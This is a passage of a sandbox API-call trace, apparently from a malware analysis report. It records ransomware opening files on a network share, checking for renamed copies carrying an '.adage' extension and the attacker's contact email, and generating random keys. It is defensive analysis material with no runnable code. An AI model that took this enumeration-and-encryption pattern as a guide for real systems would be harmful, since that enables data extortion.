GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=33078) returned 1 [0044.826] CloseHandle (hObject=0x14c) returned 1 [0044.826] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg")) returned 0x80 [0044.827] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.827] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.837] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.838] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.843] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=50944) returned 1 [0044.843] CloseHandle (hObject=0x14c) returned 1 [0044.844] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods")) returned 0x80 [0044.844] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.844] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cgtqEFU0PAhrauJ.ods" (normalized: "\\\\192.168.0.1\\documents\\cgtqefu0pahrauj.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.856] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.856] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.937] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=32978) returned 1 [0044.937] CloseHandle (hObject=0x14c) returned 1 [0044.937] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4")) returned 0x80 [0044.938] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.938] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U3BnARny7QLta.mp4" (normalized: "\\\\192.168.0.1\\documents\\u3bnarny7qlta.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.975] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.975] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.982] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=95958) returned 1 [0044.982] CloseHandle (hObject=0x14c) returned 1 [0044.982] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls")) returned 0x80 [0044.982] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.982] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OxtG5eiXbm.xls" (normalized: "\\\\192.168.0.1\\documents\\oxtg5eixbm.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.029] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.029] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.046] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=33333) returned 1 [0045.046] CloseHandle (hObject=0x14c) returned 1 [0045.046] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv")) returned 0x80 [0045.047] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.047] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\DWHuuMWix2.flv" (normalized: "\\\\192.168.0.1\\documents\\dwhuumwix2.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.103] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.103] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.111] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=58148) returned 1 [0045.111] CloseHandle (hObject=0x14c) returned 1 [0045.112] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav")) returned 0x80 [0045.114] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.140] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SfTEIxbdxeH16.wav" (normalized: "\\\\192.168.0.1\\documents\\sfteixbdxeh16.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.161] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.161] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.166] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=31799) returned 1 [0045.166] CloseHandle (hObject=0x14c) returned 1 [0045.166] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls")) returned 0x80 [0045.167] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.167] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ewbUbaNVSvHfRRfQfQLC.xls" (normalized: "\\\\192.168.0.1\\documents\\ewbubanvsvhfrrfqfqlc.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.175] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.175] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.183] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=27485) returned 1 [0045.183] CloseHandle (hObject=0x14c) returned 1 [0045.183] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf")) returned 0x80 [0045.183] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.184] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.212] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.212] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.228] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=22828) returned 1 [0045.228] CloseHandle (hObject=0x14c) returned 1 [0045.228] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf")) returned 0x80 [0045.228] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.229] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.265] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.265] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.293] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=53652) returned 1 [0045.293] CloseHandle (hObject=0x14c) returned 1 [0045.293] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv")) returned 0x80 [0045.293] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.293] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.451] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.451] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.540] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=43495) returned 1 [0045.540] CloseHandle (hObject=0x14c) returned 1 [0045.540] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf")) returned 0x80 [0045.541] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.541] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.564] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.564] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.585] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=26006) returned 1 [0045.585] CloseHandle (hObject=0x14c) returned 1 [0045.585] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif")) returned 0x80 [0045.586] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.586] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.590] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.590] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.593] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=76149) returned 1 [0045.593] CloseHandle (hObject=0x14c) returned 1 [0045.593] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods")) returned 0x80 [0045.594] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.594] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.597] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.597] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.599] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=73349) returned 1 [0045.599] CloseHandle (hObject=0x14c) returned 1 [0045.599] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a")) returned 0x80 [0045.600] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.600] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.603] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.603] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.605] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=37375) returned 1 [0045.605] CloseHandle (hObject=0x14c) returned 1 [0045.605] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp")) returned 0x80 [0045.605] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.605] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.610] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.610] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.636] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=23395) returned 1 [0045.636] CloseHandle (hObject=0x14c) returned 1 [0045.636] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods")) returned 0x80 [0045.637] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.637] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.641] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.641] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.643] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=44288) returned 1 [0045.643] CloseHandle (hObject=0x14c) returned 1 [0045.643] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg")) returned 0x80 [0045.644] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.644] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.648] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.648] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.649] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=65995) returned 1 [0045.649] CloseHandle (hObject=0x14c) returned 1 [0045.649] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi")) returned 0x80 [0045.649] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.650] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.653] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.653] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 